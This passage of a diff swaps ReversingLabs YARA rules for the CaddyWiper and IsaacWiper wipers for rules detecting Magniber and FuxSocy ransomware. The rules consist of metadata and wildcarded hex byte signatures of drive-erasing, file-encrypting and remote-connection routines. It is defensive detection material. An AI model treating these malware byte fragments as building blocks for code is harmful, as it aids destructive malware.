= "05b516f9b466489ea3a30e2fe5eb08290e85ece7a63e29e8bbbeb81c87d0a6f1" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "CaddyWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "Magniber" tc_detection_factor = 5 importance = 25 strings: - $destroy_if_not_controller = { - 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 39 ?? 75 ?? EB ?? 8D 55 ?? 52 FF 55 ?? - C6 45 ?? 43 C6 45 ?? 3A C6 45 ?? 5C C6 45 ?? 55 C6 45 ?? 73 C6 45 ?? 65 C6 45 ?? 72 - C6 45 ?? 73 C6 45 ?? 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? - C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D - ?? ?? 73 ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 04 ?? 88 45 ?? EB ?? E8 ?? - ?? ?? ?? 8B E5 5D C3 - } - $erase_drive_data = { - C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D ?? 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? - 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 45 ?? 83 - 7D ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? - ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 55 ?? 8B 45 ?? 50 FF 55 ?? 8A 4D ?? 88 4D ?? 8A - 55 ?? 80 EA ?? 88 55 ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 8B E5 5D C3 - } - $erase_drives_recursively_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF C6 85 ?? ?? ?? ?? 2A C6 85 - ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 5C C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8B 4D - ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? - ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 - C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 64 - C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 72 C6 85 ?? ?? ?? ?? 73 - C6 85 ?? ?? ?? ?? 74 C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6C - C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 41 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6B - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 72 - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 33 - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 32 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 2E - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C - C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 00 - C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 + $remote_connection = { + E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 + ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF + 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? + 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 6A + ?? 8D 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? + 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? + ?? 8B 55 ?? 83 C2 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D + ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 EB ?? + C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? + ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 } - $erase_drives_recursively_2_p1 = { - 8D 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? - ?? ?? 75 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E1 ?? 0F 84 ?? ?? ?? ?? 0F BE 95 ?? - ?? ?? ?? 83 FA ?? 75 ?? 0F BE 85 ?? ?? ?? ?? 85 C0 74 ?? 0F BE 8D ?? ?? ?? ?? 83 F9 - ?? 75 ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 75 ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? - 74 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 - E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 95 ?? ?? - ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ?? - ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 + $encrypt_files_1 = { + 55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? + ?? ?? ?? 89 45 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 03 55 ?? 8D 44 12 + ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB + ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 7D ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 8B + 75 ?? 66 8B 14 56 66 89 14 41 EB ?? B8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 66 89 04 4A C7 + 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 7D ?? 8B 55 ?? + 03 55 ?? 8B 45 ?? 8B 4D ?? 8B 75 ?? 66 8B 0C 4E 66 89 4C 50 ?? EB ?? 8B 55 ?? 03 55 + ?? 33 C0 8B 4D ?? 66 89 44 51 ?? 8D 55 ?? 52 8D 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 8B } - $erase_drives_recursively_2_p2 = { - C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? E9 ?? - ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? - ?? ?? ?? 73 ?? E9 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? FF 95 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 - ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? - 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? - 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 55 ?? 8D 8D ?? ?? ?? - ?? 51 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 50 FF 95 ?? ?? ?? ?? 8B E5 5D C3 + $encrypt_files_2 = { + 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? + ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 + 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 + 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? + 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 + ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 + ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 4D ?? 51 6A ?? + 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 99 8B 4D ?? + 2B 4D ?? 8B 75 ?? 1B 75 ?? 89 45 ?? 89 55 ?? 89 4D ?? 89 75 ?? 8B 55 ?? 3B 55 ?? 7C + ?? 7F ?? 8B 45 ?? 3B 45 ?? 76 ?? 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 + ?? EB ?? 8B 45 ?? 99 89 45 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B + } + $encrypt_files_3 = { + 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 83 7D ?? + ?? 75 ?? E9 ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 73 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 + ?? 8B 45 ?? 50 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? + ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 + 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 + ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? EB ?? + E9 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? + 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? + 83 7D ?? ?? 74 ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? 7F ?? 8B 4D ?? 3B 4D ?? + 76 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? + 8B 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? + 83 C4 ?? B8 ?? ?? ?? ?? EB + } + $search_files = { + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 8B 4D ?? 8B 94 + 8D ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 33 C0 E9 ?? ?? ?? + ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 81 ?? ?? ?? ?? 3B 82 ?? ?? ?? ?? 76 ?? B8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? + 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 + FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 FF 15 ?? ?? ?? ?? + 85 C0 75 ?? EB ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 C1 + ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 74 ?? 8B 4D ?? 81 79 ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? + ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? + 81 79 ?? ?? ?? ?? ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? + ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 03 45 ?? 89 + 45 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 ?? + 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 + ?? 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B + 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 } condition: - uint16( 0 ) == 0x5A4D and ( $destroy_if_not_controller ) and ( $erase_drive_data ) and ( all of ( $erase_drives_recursively_* ) ) + uint16( 0 ) == 0x5A4D and ( $search_files and ( all of ( $encrypt_files_* ) ) and $remote_connection ) } -rule REVERSINGLABS_Win32_Trojan_Isaacwiper : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Fuxsocy : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects IsaacWiper trojan." + description = "Yara rule that detects FuxSocy ransomware." author = "ReversingLabs" - id = "c0924e5e-a942-57a3-a9f9-e6be6efa4c73" - date = "2022-03-02" - modified = "2022-03-02" + id = "f4a45469-9d51-523f-8238-c7044f353cf6" + date = "2021-03-01" + modified = "2021-03-01" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/trojan/Win32.Trojan.IsaacWiper.yara#L1-L76" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FuxSocy.yara#L1-L114" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c9fa43f44c33816a66f61255d101294da63df1afc5a27ed5817072040cd1eec5" + logic_hash = "8b3c04eb5d60fcc82e47cb8e78da0a98642666546d6799baef24b56926e3aceb" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Trojan" - tc_detection_name = "IsaacWiper" + tc_detection_type = "Ransomware" + tc_detection_name = "FuxSocy" tc_detection_factor = 5 importance = 25 strings: - $enumerate_physical_drives = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 F6 89 55 ?? 57 89 4D ?? B3 ?? C7 45 ?? ?? ?? ?? - ?? 89 75 ?? 84 DB 0F 84 ?? ?? ?? ?? 8B D6 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D - 8D ?? ?? ?? ?? BF ?? ?? ?? ?? 89 45 ?? 2B F8 83 C4 ?? 66 83 7D ?? ?? 8D 0C 41 8D 45 - ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D 04 45 ?? ?? ?? ?? 50 8B - C2 8D 14 3F 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C7 8D 48 ?? 0F 46 C1 8B 4D ?? 03 C8 - 89 4D ?? 83 F9 ?? 73 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 50 B3 ?? FF D7 83 F8 ?? 74 ?? 46 50 89 75 ?? FF 15 ?? ?? ?? ?? - E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 32 DB E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 - ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 85 C0 0F 95 C1 66 85 C0 0F 84 ?? ?? ?? ?? 6A ?? - 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D 4D ?? BE ?? ?? ?? ?? 89 45 ?? 2B F0 83 C4 ?? 66 83 - 7D ?? ?? 8D 0C 41 8D 45 ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D - 04 45 ?? ?? ?? ?? 50 8B C2 8D 14 36 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C6 8D 48 ?? - 0F 46 C1 8B 4D ?? 03 C8 89 4D ?? 83 F9 ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF D7 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 45 - ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ?? - ?? ?? ?? 83 F8 ?? 0F 94 C3 75 ?? 33 C0 83 7D ?? ?? 0F 44 45 ?? 89 45 ?? 56 FF 15 ?? - ?? ?? ?? 84 DB EB ?? 84 C9 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B D3 8B 4D ?? 6A ?? E8 ?? ?? - ?? ?? 8B 7D ?? 8A C8 83 C4 ?? 33 F6 84 C9 74 ?? 3B F3 74 ?? 6A ?? 8B D6 8B CF E8 ?? - ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 46 84 C9 74 ?? 8B 5D ?? 3B F3 73 ?? - 6A ?? 8B D6 8B CF E8 ?? ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 8A C1 5F 5E - 5B 8B E5 5D C3 + $encrypt_files_1 = { + 83 EC ?? 53 55 57 89 54 24 ?? 8B 54 24 ?? 51 33 DB E8 ?? ?? ?? ?? 8B E8 59 85 ED 0F + 84 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 8B CB E9 + ?? ?? ?? ?? 53 53 FF 74 24 ?? 41 FF 74 24 ?? BF ?? ?? ?? ?? FF 74 24 ?? 3B C7 0F 42 + F8 2B C7 89 4C 24 ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? + FF 74 24 ?? FF 15 ?? ?? ?? ?? 57 FF 74 24 ?? 8D 54 24 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? + 59 59 57 8D 44 24 ?? 50 FF 74 24 ?? 33 C0 39 44 24 ?? 53 0F 94 C0 89 7C 24 ?? 50 53 + 55 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 53 FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 15 ?? + ?? ?? ?? 53 8D 44 24 ?? 50 57 FF 74 24 ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 01 7C 24 ?? + 8B 4C 24 ?? 11 5C 24 ?? F6 C1 ?? 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 8B 44 24 + ?? 85 C0 0F 85 ?? ?? ?? ?? EB ?? 88 5C 24 ?? FF 74 24 ?? 8B 54 24 ?? 8B 4C 24 ?? E8 + ?? ?? ?? ?? 59 8B 4C 24 ?? 55 89 41 ?? FF 15 ?? ?? ?? ?? 8A 5C 24 ?? 5F 5D 8A C3 5B + 83 C4 ?? C3 } - $corrupt_drive_thread = { - 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B 5D ?? 56 57 85 DB 0F 84 ?? ?? - ?? ?? 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 8D 4C 24 ?? 03 C0 BA ?? ?? ?? ?? 50 53 - E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? D1 E8 33 C9 66 89 4C 44 ?? 8D 44 24 ?? 50 - FF D7 8B 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 6A ?? 8D 44 24 ?? 50 - FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 8D 44 24 - ?? 74 ?? 90 83 C0 ?? 66 83 38 ?? 75 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? 2B C1 D1 F8 8D 04 - 45 ?? ?? ?? ?? 50 8B C1 8D 8C 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? - ?? ?? ?? 50 FF D7 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 74 24 - ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 7B ?? 8B 5B ?? C7 44 24 ?? ?? ?? ?? ?? 85 DB 75 ?? - 81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 8C 84 ?? ?? ?? ?? 8B D1 C1 EA ?? 33 D1 69 - CA ?? ?? ?? ?? 03 C8 89 8C 84 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? BA ?? ?? ?? ?? 8D - B4 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 75 ?? - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 94 ?? ?? ?? ?? 8B C1 - C1 E8 ?? 42 33 C8 89 94 24 ?? ?? ?? ?? 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 - ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 89 06 